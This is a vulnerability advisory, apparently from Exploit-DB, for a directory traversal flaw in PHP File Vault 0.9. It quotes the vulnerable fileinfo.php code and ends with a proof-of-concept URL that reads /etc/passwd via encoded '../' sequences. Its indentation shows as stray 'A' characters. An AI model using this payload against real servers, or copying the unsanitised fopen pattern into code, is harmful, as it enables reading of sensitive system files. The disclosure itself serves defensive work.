PHP File Vault version 0.9 , remote directory traversal and read file vulnerabilty

vendor:

php_file_vault

by:

N_A

7,5

CVSS

HIGH

Directory Traversal

CWE

Product Name: php_file_vault

Affected Version From: 0.9

Affected Version To: 0.9

Patch Exists: N/A

Related CWE: N/A

CPE: a:php_file_vault:php_file_vault

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

N/A

PHP File Vault version 0.9 , remote directory traversal and read file vulnerabilty

A vulnerability exists within the fileinfo.php file of the package, which allows parts of any world readable file to be read by a remote attacker. Attacks can include gathering sensitive information, .bash_history, .rhosts, /etc/passwd and so on.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in file operations.

Source

Exploit-DB raw data:

PHP File Vault version 0.9 , remote directory traversal and read file vulnerabilty 
==================================================================================


Discovered by N_A, N_A[at]tutanota.com
======================================




Description
===========


A very small PHP website application which stores anonymously uploaded files and retrieves them by SHA1 hash (a fingerprint of the file which is provided after uploading). Developed for anonysource.org , a kanux project.

https://sourceforge.net/projects/php-file-vault



Vulnerability
=============


The vulnerability exists within the fileinfo.php file of the package:


A A A  if (empty($_GET['sha1'])) die("sha1 is required to get file info");
A A A  $sha1 = trim($_GET['sha1']);


the 'sha1' variable is requested via the GET method. It is passed as a variable to the 'parseFileInfo' function. This function incorporates a call to
the fopen() function within PHP:



A A A  A A A  function parseFileInfo($fi) {
A A A  A A A  $fh = fopen($fi,'r');
A A A  A A A  $fname = trim(fgets($fh));
A A A  A A A  fclose($fh);
A A A  A A A  return array($fname);
A A A  A A  }



The parseFileInfo() function is called within the file fileinfo.php with the 'sha1' variable inside:

A A A  A A A  if (!is_readable(FI.$sha1)) die("cannot read file info!");
A A A  A A A  list($fname) = parseFileInfo(FI.$sha1);

A A A  A A A  readfile('head.html');

A A A  A A A  if ($fname) echo "<h1><a href=\"/$sha1\">$fname</a></h1>";


This is the vulnerability that allows parts of *any world readable* file to be read by a remote attacker.

Attacks can include gathering sensitive information, .bash_history, .rhosts, /etc/passwd and so on.


Proof Of Concept
================

PoC exploit = http://127.0.0.1/htdocs/fileinfo.php?sha1=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd